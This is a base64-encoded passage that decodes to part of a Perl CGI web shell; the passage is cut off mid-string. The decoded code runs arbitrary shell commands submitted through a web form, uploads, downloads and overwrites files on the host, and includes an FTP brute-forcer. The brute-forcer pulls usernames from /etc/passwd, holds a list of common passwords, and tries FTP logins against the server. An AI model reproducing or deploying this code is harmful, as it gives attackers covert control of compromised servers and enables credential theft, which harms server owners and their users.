LS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBPcGVuIFNhbnM7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOwoJCSRyb3dzPSIyMCIKCX0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCSRyZWFkPSgkV2luTlQpPyJ0eXBlIjoibGVzcyI7CgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOwoJJHJlc3VsdCAuPSAgPDxFTkQ7Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgoJJFByb21wdAoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+Cgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQgLj0gPDxFTkQ7Cgo8dGFibGU+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPgpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3U8L3RleHRhcmVhPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+Cgo8b3B0aW9uPjA8L29wdGlvbj4KPG9wdGlvbj4xPC9vcHRpb24+CjxvcHRpb24+Mjwvb3B0aW9uPgoKPG9wdGlvbj4zPC9vcHRpb24+Cjwvc2VsZWN0PiAKPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQ